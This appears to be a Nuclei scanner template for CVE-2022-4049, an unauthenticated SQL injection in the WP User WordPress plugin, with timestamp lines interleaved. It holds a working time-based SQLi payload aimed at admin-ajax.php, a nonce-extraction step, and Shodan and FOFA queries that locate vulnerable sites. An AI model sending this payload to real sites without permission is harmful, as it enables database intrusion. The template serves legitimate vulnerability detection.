2023-10-17 07:20:28 +00:00
id : CVE-2022-4049
info :
name : WP User <= 7.0 - Unauthenticated SQLi
author : theamanrawat
severity : critical
description : |
The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
reference :
- https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be
- https://wordpress.org/plugins/wp-user/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4049
2024-03-23 09:28:19 +00:00
- https://github.com/cyllective/CVEs
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4049
cwe-id : CWE-89
2024-06-07 10:04:29 +00:00
epss-score : 0.04713
epss-percentile : 0.92631
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : "true"
2023-10-17 17:52:26 +00:00
max-request : 4
vendor : wp_user_project
product : wp_user
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/wp-user/
fofa-query : body=/wp-content/plugins/wp-user/
2024-06-07 10:04:29 +00:00
publicwww-query : /wp-content/plugins/wp-user/
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth,wp_user_project
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
GET {{path}} HTTP/1.1
Host : {{Hostname}}
- |
2024-06-23 05:19:02 +00:00
@timeout : 20s
2023-10-17 07:20:28 +00:00
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)
attack : clusterbomb
payloads :
path :
- "/index.php/user/"
- "/user"
stop-at-first-match : true
2023-10-17 17:52:26 +00:00
2023-10-17 07:20:28 +00:00
matchers-condition : and
matchers :
- type : dsl
dsl :
- duration>=6
- status_code == 200
- contains(header_2, "text/html")
- contains(body_2, 'Invalid Access')
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- '"wpuser_update_setting":"([0-9a-zA-Z]+)"'
internal : true
2024-10-18 13:05:19 +00:00
# digest: 4a0a0047304502201b134a1df10b4743f8036912e65bba72fad6e89500054774ca2696f68e0c5705022100c5828c1e9d325f67d2eba3eb65fabf7c5bab653b07f7abb365a8660cef4fbb59:922c64590222798bb761d5b6d8e72950